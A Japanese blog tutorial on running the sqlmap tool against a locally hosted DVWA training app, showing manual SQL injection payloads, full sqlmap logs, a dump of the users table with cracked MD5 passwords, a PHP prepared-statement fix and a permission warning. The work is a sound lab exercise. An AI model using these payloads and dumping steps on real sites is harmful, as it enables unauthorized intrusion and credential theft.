sqlmapを使ってみる

SQL injectionのテストツールであるsqlmapを使ってみる。

環境

Ubuntu 14.04.3 LTS 64bit版、Docker 1.9.1

$ uname -a
Linux vm-ubuntu64 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.3 LTS
Release:        14.04
Codename:       trusty

$ sudo docker version
Client:
 Version:      1.9.1
 API version:  1.21
 Go version:   go1.4.2
 Git commit:   a34a1d5
 Built:        Fri Nov 20 13:12:04 UTC 2015
 OS/Arch:      linux/amd64

Server:
 Version:      1.9.1
 API version:  1.21
 Go version:   go1.4.2
 Git commit:   a34a1d5
 Built:        Fri Nov 20 13:12:04 UTC 2015
 OS/Arch:      linux/amd64

脆弱性のあるWebアプリケーションを用意する

まず、SQL injection脆弱性のあるWebアプリケーションを用意する。 ここでは、「脆弱性テスト・学習用Webアプリケーションのメモ」にも書いたDamn Vulnerable Web Application (DVWA)を利用することにする。

Dockerイメージを使い、localhostの80番ポートからDVWAにアクセスできるようにするには次のようにする。

$ sudo docker run -d -p 80:80 citizenstig/dvwa

コンテナが起動したら、ブラウザからhttp://localhost/にアクセスすることでDVWAのトップページが表示される。

初期状態ではMySQLテーブルが作成されていないので、トップページの指示に従いテーブルを作成する。 その後、ログイン画面からadmin/passwordでログインを行う。 さらに、「DVWA Security」のページからSecurity Levelをデフォルトのhighからlowに変更しておく。

SQL injectionをやってみる

SQL Injectionのページを開き、User IDに1を入力して送信した後のスクリーンショットを次に示す。

f:id:inaz2:20160127000348p:plain

ここで、User Idに'を入力して送信すると、次のようなエラーメッセージが表示され、SQL injection脆弱性があることがわかる。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

' OR 1=1 --を送信すると、すべてのユーザ情報が表示され、SQL injectionが成功していることがわかる。

ID: ' OR 1=1 -- 
First name: admin
Surname: admin

ID: ' OR 1=1 -- 
First name: Gordon
Surname: Brown

ID: ' OR 1=1 -- 
First name: Hack
Surname: Me

ID: ' OR 1=1 -- 
First name: Pablo
Surname: Picasso

ID: ' OR 1=1 -- 
First name: Bob
Surname: Smith

ここで、' UNION SELECT table_name,GROUP_CONCAT(column_name) FROM information_schema.columns GROUP BY table_name --を送信することによりテーブル情報を取得すると次のようになる。

ID: ' UNION SELECT table_name,GROUP_CONCAT(column_name) FROM information_schema.columns GROUP BY table_name -- 
First name: CHARACTER_SETS
Surname: CHARACTER_SET_NAME,DEFAULT_COLLATE_NAME,DESCRIPTION,MAXLEN

ID: ' UNION SELECT table_name,GROUP_CONCAT(column_name) FROM information_schema.columns GROUP BY table_name -- 
First name: COLLATIONS
Surname: SORTLEN,IS_COMPILED,IS_DEFAULT,ID,CHARACTER_SET_NAME,COLLATION_NAME

(snip)

ID: ' UNION SELECT table_name,GROUP_CONCAT(column_name) FROM information_schema.columns GROUP BY table_name -- 
First name: users
Surname: first_name,user_id,avatar,password,user,last_name

(snip)

usersテーブルに注目し、' UNION SELECT user,password FROM users --を送信してみる。

ID: ' UNION SELECT user,password FROM users -- 
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user,password FROM users -- 
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user,password FROM users -- 
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user,password FROM users -- 
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user,password FROM users -- 
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

上の結果から、登録されているユーザのユーザ名とパスワードハッシュが表示されていることが確認できる。

sqlmapのダウンロード

sqlmapを使うと、上のようなSQL injection脆弱性の探索と攻撃を自動で行うことができる。 Gitを用いてダウンロードするには次のようにする。

$ git clone https://github.com/sqlmapproject/sqlmap.git

$ cd sqlmap/

$ ./sqlmap.py --help
Usage: python sqlmap.py [options]

Options:
(snip)

SQL injection脆弱性を探してみる

上で使用したURLに対してSQL injection脆弱性の探索を行うには、次のようにする。 --cookieオプションで指定するCookieの値は、ログイン済みのブラウザの開発者コンソールなどから調べて指定する。 また、-oオプションを指定すると3スレッド並列で高速化することができる。

> document.cookie
"PHPSESSID=l2ic7ofjq7dpraphi7rkkmotv7; security=low"
$ ./sqlmap.py -o -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=l2ic7ofjq7dpraphi7rkkmotv7; security=low"
         _
 ___ ___| |_____ ___ ___  {1.0-dev-c34eaa1}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:24:34

[01:24:34] [WARNING] using '/home/user/.sqlmap/output' as the output directory
[01:24:34] [INFO] testing connection to the target URL
[01:24:34] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[01:24:34] [INFO] testing NULL connection to the target URL
[01:24:34] [INFO] NULL connection is supported with GET header 'Range'
[01:24:34] [INFO] testing if the target URL is stable
[01:24:35] [INFO] target URL is stable
[01:24:35] [INFO] testing if GET parameter 'id' is dynamic
[01:24:35] [WARNING] GET parameter 'id' does not appear dynamic
[01:24:35] [INFO] testing for SQL injection on GET parameter 'id'
[01:24:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:24:35] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[01:24:35] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[01:24:35] [WARNING] reflective value(s) found and filtering out
[01:24:35] [INFO] heuristics detected web page charset 'ascii'
[01:24:35] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[01:24:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:24:38] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:24:38] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[01:24:38] [INFO] target URL appears to have 2 columns in query
[01:24:38] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 36 HTTP(s) requests:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' AND (SELECT 2238 FROM(SELECT COUNT(*),CONCAT(0x7176767a71,(SELECT (ELT(2238=2238,1))),0x7170707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'CyLl'='CyLl&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7176767a71,0x677055524279707a66454847446f517579616e6778464b4a6f477a71734d5259515a5a644b48624b,0x7170707671)-- -&Submit=Submit
---
[01:24:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
[01:24:39] [INFO] fetched data logged to text files under '/home/user/.sqlmap/output/localhost'

ここでは、途中で聞かれるプロンプトに対し、そのままEnterを押してデフォルト値を選択している。 上の結果から、idパラメータにSQL injection脆弱性があること、SQLサーバがMySQL 5.0であることがわかる。 また、sqlmapでは一度実行した結果は~/.sqlmap以下に保存される。

SQL injection脆弱性を用いてデータベースをダンプしてみる

発見したSQL injection脆弱性を用いてデータベースをダンプするには、--dumpオプションをつけて実行する。

$ ./sqlmap.py -o -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=l2ic7ofjq7dpraphi7rkkmotv7; security=low" --dump
         _
 ___ ___| |_____ ___ ___  {1.0-dev-c34eaa1}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:26:41

[01:26:41] [INFO] resuming back-end DBMS 'mysql'
[01:26:41] [INFO] testing connection to the target URL
[01:26:41] [INFO] testing NULL connection to the target URL
[01:26:41] [INFO] NULL connection is supported with GET header 'Range'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1' AND (SELECT 2238 FROM(SELECT COUNT(*),CONCAT(0x7176767a71,(SELECT (ELT(2238=2238,1))),0x7170707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'CyLl'='CyLl&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7176767a71,0x677055524279707a66454847446f517579616e6778464b4a6f477a71734d5259515a5a644b48624b,0x7170707671)-- -&Submit=Submit
---
[01:26:41] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
[01:26:41] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[01:26:41] [INFO] fetching current database
[01:26:41] [WARNING] reflective value(s) found and filtering out
[01:26:41] [INFO] fetching tables for database: 'dvwa'
[01:26:41] [INFO] fetching columns for table 'users' in database 'dvwa'
[01:26:41] [INFO] fetching entries for table 'users' in database 'dvwa'
[01:26:42] [INFO] analyzing table dump for possible password hashes
[01:26:42] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
[01:26:43] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/home/user/tmp/sqlmap-dev/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[01:26:44] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N]
[01:26:44] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[01:26:44] [INFO] starting 4 processes
[01:26:46] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[01:26:49] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[01:26:51] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[01:26:51] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[01:26:53] [INFO] postprocessing table dump
Database: dvwa
Table: users
[5 entries]
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
| user_id | user    | avatar                          | password                                    | last_name | first_name |
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
| 1       | admin   | dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      |
| 2       | gordonb | dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+

[01:26:53] [INFO] table 'dvwa.users' dumped to CSV file '/home/user/.sqlmap/output/localhost/dump/dvwa/users.csv'
[01:26:53] [INFO] fetching columns for table 'guestbook' in database 'dvwa'
[01:26:53] [INFO] fetching entries for table 'guestbook' in database 'dvwa'
[01:26:53] [INFO] analyzing table dump for possible password hashes
Database: dvwa
Table: guestbook
[1 entry]
+------------+------+-------------------------+
| comment_id | name | comment                 |
+------------+------+-------------------------+
| 1          | test | This is a test comment. |
+------------+------+-------------------------+

[01:26:53] [INFO] table 'dvwa.guestbook' dumped to CSV file '/home/user/.sqlmap/output/localhost/dump/dvwa/guestbook.csv'
[01:26:53] [INFO] fetched data logged to text files under '/home/user/.sqlmap/output/localhost'

$ cat /home/user/.sqlmap/output/localhost/dump/dvwa/users.csv
user_id,user,avatar,password,last_name,first_name
1,admin,dvwa/hackable/users/admin.jpg,5f4dcc3b5aa765d61d8327deb882cf99 (password),admin,admin
2,gordonb,dvwa/hackable/users/gordonb.jpg,e99a18c428cb38d5f260853678922e03 (abc123),Brown,Gordon
3,1337,dvwa/hackable/users/1337.jpg,8d3533d75ae2c3966d7e0d4fcc69216b (charley),Me,Hack
4,pablo,dvwa/hackable/users/pablo.jpg,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein),Picasso,Pablo
5,smithy,dvwa/hackable/users/smithy.jpg,5f4dcc3b5aa765d61d8327deb882cf99 (password),Smith,Bob

sqlmapでは、同梱されている辞書を用いて各種ハッシュのクラックを試みることができる。 上の結果から、データベース内のテーブル(users、guestbook)とその内容、saltなしのMD5で保存されているパスワードについてはクラック結果が表示されていることがわかる。

SQL injection脆弱性をクローリングして探してみる

sqlmapでは、次のようなオプションを指定することでクローリングを行うことができる。 ここでは、ログアウトが起こらないよう、--crawl-excludeオプションでlogoutを含むURLをクロール対象から除外している。

$ ./sqlmap.py -o -u "http://localhost/" --cookie="PHPSESSID=l2ic7ofjq7dpraphi7rkkmotv7; security=low" --forms --batch --crawl=2 --crawl-exclude=logout
         _
 ___ ___| |_____ ___ ___  {1.0-dev-c34eaa1}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:28:06

do you want to check for the existence of site's sitemap(.xml) [y/N] n
[01:28:06] [INFO] starting crawler
[01:28:06] [INFO] searching for links with depth 1
[01:28:06] [INFO] searching for links with depth 2
[01:28:06] [INFO] starting 3 threads
[01:28:06] [INFO] 14/17 links visited (82%)
[01:28:07] [INFO] heuristics detected web page charset 'windows-1252'
do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N] N
[01:28:08] [INFO] sqlmap got a total of 18 targets
[#1] form:
GET http://localhost:80/vulnerabilities/csrf/?password_new=&password_conf=&Change=Change
Cookie: PHPSESSID=l2ic7ofjq7dpraphi7rkkmotv7; security=low
do you want to test this form? [Y/n/q]
> Y
Edit GET data [default: password_new=&password_conf=&Change=Change]: password_new=&password_conf=&Change=Change
do you want to fill blank fields with random values? [Y/n] Y
[01:28:08] [INFO] using '/home/user/.sqlmap/output/results-01272016_0128am.csv' as the CSV results file in multiple targets mode
[01:28:08] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[01:28:08] [INFO] testing NULL connection to the target URL
[01:28:08] [INFO] NULL connection is supported with GET header 'Range'
[01:28:08] [INFO] testing if the target URL is stable
[01:28:09] [INFO] target URL is stable
[01:28:09] [INFO] testing if GET parameter 'password_new' is dynamic
[01:28:09] [WARNING] GET parameter 'password_new' does not appear dynamic
[01:28:09] [INFO] testing for SQL injection on GET parameter 'password_new'
[01:28:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:28:09] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[01:28:09] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[01:28:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:28:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:28:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:28:09] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[01:28:09] [INFO] testing 'MySQL inline queries'
[01:28:09] [INFO] testing 'PostgreSQL inline queries'
[01:28:09] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[01:28:09] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[01:28:09] [WARNING] time-based comparison requires larger statistical model, please wait.. (done)
[01:28:09] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[01:28:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[01:28:09] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[01:28:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[01:28:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:28:10] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:28:10] [INFO] testing 'Oracle AND time-based blind'
[01:28:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:28:10] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[01:28:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:28:11] [WARNING] GET parameter 'password_new' is not injectable
[01:28:11] [INFO] testing if GET parameter 'password_conf' is dynamic
[01:28:11] [WARNING] GET parameter 'password_conf' does not appear dynamic
[01:28:11] [INFO] testing for SQL injection on GET parameter 'password_conf'
[01:28:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:28:11] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[01:28:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[01:28:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:28:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:28:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:28:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[01:28:12] [INFO] testing 'MySQL inline queries'
[01:28:12] [INFO] testing 'PostgreSQL inline queries'
[01:28:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[01:28:12] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[01:28:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[01:28:12] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[01:28:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[01:28:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[01:28:12] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:28:12] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:28:12] [INFO] testing 'Oracle AND time-based blind'
[01:28:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:28:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:28:14] [WARNING] GET parameter 'password_conf' is not injectable
[01:28:14] [INFO] testing if GET parameter 'Change' is dynamic
[01:28:14] [WARNING] GET parameter 'Change' does not appear dynamic
[01:28:14] [INFO] testing for SQL injection on GET parameter 'Change'
[01:28:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:28:14] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[01:28:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[01:28:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:28:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:28:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:28:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[01:28:14] [INFO] testing 'MySQL inline queries'
[01:28:14] [INFO] testing 'PostgreSQL inline queries'
[01:28:14] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[01:28:14] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[01:28:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[01:28:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[01:28:14] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[01:28:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[01:28:15] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:28:15] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:28:15] [INFO] testing 'Oracle AND time-based blind'
[01:28:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:28:16] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:28:16] [WARNING] GET parameter 'Change' is not injectable
[01:28:16] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next form
[#2] form:
GET http://localhost:80/vulnerabilities/brute/?username=&password=&Login=Login
Cookie: PHPSESSID=l2ic7ofjq7dpraphi7rkkmotv7; security=low
do you want to test this form? [Y/n/q]
> Y
Edit GET data [default: username=&password=&Login=Login]: username=&password=&Login=Login
do you want to fill blank fields with random values? [Y/n] Y
[01:28:16] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[01:28:16] [INFO] testing NULL connection to the target URL
[01:28:16] [INFO] NULL connection is supported with GET header 'Range'
[01:28:16] [INFO] testing if the target URL is stable
[01:28:17] [INFO] target URL is stable
[01:28:17] [INFO] testing if GET parameter 'username' is dynamic
[01:28:17] [WARNING] GET parameter 'username' does not appear dynamic
[01:28:17] [INFO] testing for SQL injection on GET parameter 'username'
[01:28:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:28:17] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[01:28:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[01:28:18] [INFO] heuristics detected web page charset 'ascii'
[01:28:18] [INFO] GET parameter 'username' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[01:28:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:28:18] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:28:18] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[01:28:18] [INFO] target URL appears to have 6 columns in query
[01:28:18] [WARNING] reflective value(s) found and filtering out
[01:28:18] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 33 HTTP(s) requests:
---
Parameter: username (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=dEDo' AND (SELECT 7233 FROM(SELECT COUNT(*),CONCAT(0x7171706b71,(SELECT (ELT(7233=7233,1))),0x71766b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'npsy'='npsy&password=&Login=Login

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: username=dEDo' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706b71,0x4d6a534c6374486d4375526a7a426b4b6e4d665748735a43656a664b69566a4d797a564f7044644c,0x71766b7871)-- -&password=&Login=Login
---
do you want to exploit this SQL injection? [Y/n] Y
[01:28:18] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0
SQL injection vulnerability has already been detected against 'localhost'. Do you want to skip further tests involving it? [Y/n] Y
[01:28:18] [INFO] skipping 'http://localhost:80/vulnerabilities/captcha/'
[01:28:18] [INFO] skipping 'http://localhost:80/vulnerabilities/xss_r/?name='
[01:28:18] [INFO] skipping 'http://localhost:80/vulnerabilities/sqli_blind/?id=&Submit=Submit'
[01:28:18] [INFO] skipping 'http://localhost:80/vulnerabilities/upload/'
[01:28:18] [INFO] skipping 'http://localhost:80/vulnerabilities/exec/'
[01:28:18] [INFO] skipping 'http://localhost:80/vulnerabilities/xss_s/'
[01:28:18] [INFO] skipping 'http://localhost:80/vulnerabilities/sqli/?id=&Submit=Submit'
[01:28:18] [INFO] skipping 'http://localhost:80/setup.php'
[01:28:18] [INFO] skipping 'http://localhost:80/security.php'
[01:28:18] [INFO] skipping 'http://localhost:80/vulnerabilities/fi/?page=include.php'
[01:28:18] [INFO] skipping 'http://localhost:80/instructions.php?doc=readme'
[01:28:18] [INFO] skipping 'http://localhost:80/instructions.php?doc=changelog'
[01:28:18] [INFO] skipping 'http://localhost:80/instructions.php?doc=copying'
[01:28:18] [INFO] skipping 'http://localhost:80/instructions.php?doc=PHPIDS-license'
[01:28:18] [INFO] skipping 'http://localhost:80/security.php?phpids=on'
[01:28:18] [INFO] skipping 'http://localhost:80/security.php?test='
[01:28:18] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/user/.sqlmap/output/results-01272016_0128am.csv'

$ cat /home/user/.sqlmap/output/results-01272016_0128am.csv
Target URL,Place,Parameter,Techniques
http://localhost:80/vulnerabilities/brute/?username=dEDo&password=&Login=Login,GET,username,EU

上の結果から、「Brute Force」のページ(/vulnerabilities/brute/?username=dEDo&password=&Login=Login)にもSQL injection脆弱性があることがわかる。

アプリケーションにおける対策

SQL injection脆弱性は、アプリケーション中でSQLクエリを文字列連結で組み立てた結果、外部からの信用できない値によりクエリの構造が壊れることによって起こる。 これを防ぐには、文字列連結ではなくデータベース(あるいはライブラリ)のPrepared Statement機能を使ってSQLクエリを組み立てるようにする。 以下に一例として、PHPPDOライブラリの場合の例を示す。

$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
if ($stmt->execute(array($_GET['name']))) {
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
}

注意事項

このようなテストは自身の管理下あるいは管理者の許可を得たアプリケーションに対してのみ行うこと。 第三者のWebアプリケーションに対して上のようなアクセスを行った場合、各国の法律(日本であれば不正アクセス禁止法等)に抵触するおそれがある。

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

また、このようなテストは意図しないアクセスによりデータの書き換え・消去等を引き起こす可能性があるため、壊れても支障のないテスト用環境を用意した上で行うこと。

更新履歴

  • 2016/01/27: 最適化オプション(-o)、クローリングの項を追記
  • 2016/02/11: 注意事項を追記

関連リンク